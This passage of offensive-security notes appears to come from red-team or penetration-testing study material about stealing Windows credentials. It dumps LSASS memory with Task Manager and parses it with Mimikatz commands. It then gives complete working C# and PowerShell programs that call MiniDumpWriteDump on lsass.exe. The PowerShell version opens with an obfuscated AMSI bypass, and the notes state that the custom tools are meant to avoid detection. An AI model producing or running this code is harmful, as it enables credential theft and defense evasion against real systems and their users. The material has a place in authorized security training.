    • Navigate to the Details tab.
    • Locate the  ​lsass.exe​  process.
    • Right-click it and choose “Create dump file”.
    • Note the location of the dump file from the popup.
  1. Ensure Compatibility:
    • When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.
  • Load and Parse the Dump:
C:\Tools\Mimikatz> mimikatz.exe 
mimikatz # sekurlsa::minidump lsass.dmp 
mimikatz # sekurlsa::logonpasswords
  • Creating a dump using Task Manager requires GUI access to the target machine.
  • While parsing the dump file with Mimikatz, there’s no need for an elevated command prompt or the  ​privilege::debug​  command.
  • The technique does not require the presence of Mimikatz on the target machine.

MiniDump

  • Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.
  • Task Manager and ProcDump, when creating a dump file, utilize the Win32 MiniDumpWriteDump API.
  • The goal is to create a C# application that replicates this functionality by invoking the same API.
  • This will probably avoid detection, since mimikatz is so well known and will trigger every signature.

  • Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.

C# version

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace MiniDump
{
    public class Program
    {
        static int MiniDumpWithFullMemory = 2;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;

        [DllImport("Dbghelp.dll")]
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);

        [DllImport("kernel32.dll")]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        public static void Main(string[] args)
        {
            // Get the PID of lsass.exe
            Process[] lsass = Process.GetProcessesByName("lsass");
            int lsass_pid = lsass[0].Id;
            Console.WriteLine($"Got lsass.exe PID: {lsass_pid}.");

            // Get a handle on LSASS
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);
            Console.WriteLine($"Got a handle on lsass.exe: {handle}.");

            // Dump LSASS process to file
            string filePath = "C:\\Windows\\tasks\\lsass.dmp";
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
            if (dumped)
            {
                Console.WriteLine($"Dumped LSASS memory to {filePath}.");
            }
            else
            {
                Console.WriteLine($"Error dumping LSASS memory: {Marshal.GetLastWin32Error()}");
            }
        }
    }
}

Powershell Version

# Bypass AMSI because we're cool
# Change this if the bypass dont work
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true)

# Utility functions
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
    Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
    @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
    [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
    [System.MulticastDelegate])
    $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
    [System.Reflection.CallingConventions]::Standard, $func).
    SetImplementationFlags('Runtime, Managed')
    $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
    SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

# Add dbghelp.dll and reflectively load the function while we're at it
# (somehow dbghelp.dll doesn't play nice with LookupFunc)
$MethodDefinition = @'
[DllImport("DbgHelp.dll", CharSet = CharSet.Unicode)]
public static extern bool MiniDumpWriteDump(
    IntPtr hProcess,
    uint processId,
    IntPtr hFile,
    uint dumpType,
    IntPtr expParam,
    IntPtr userStreamParam,
    IntPtr callbackParam
    );
'@
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name 'dbghelp' -Namespace 'Win32' -PassThru

# Get LSASS PID
$lsassPid = Get-Process lsass | select -ExpandProperty Id
Write-Host("Got lsass.exe PID: $lsassPid.")

# Get a handle on LSASS
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), 
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)
Write-Host("Got handle on LSASS: $handle.")

# Dump process memory to file
$filePath = "C:\Windows\Tasks\lsass.dmp"
$dumpFile = New-Object IO.FileStream $filePath,'Create','Write','Read'
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
$dumpFile.Close()

if($result) {
   Write-Host("Dumped LSASS memory to $filePath.")
}else {
   Write-Host("Error dumping LSASS memory.")
}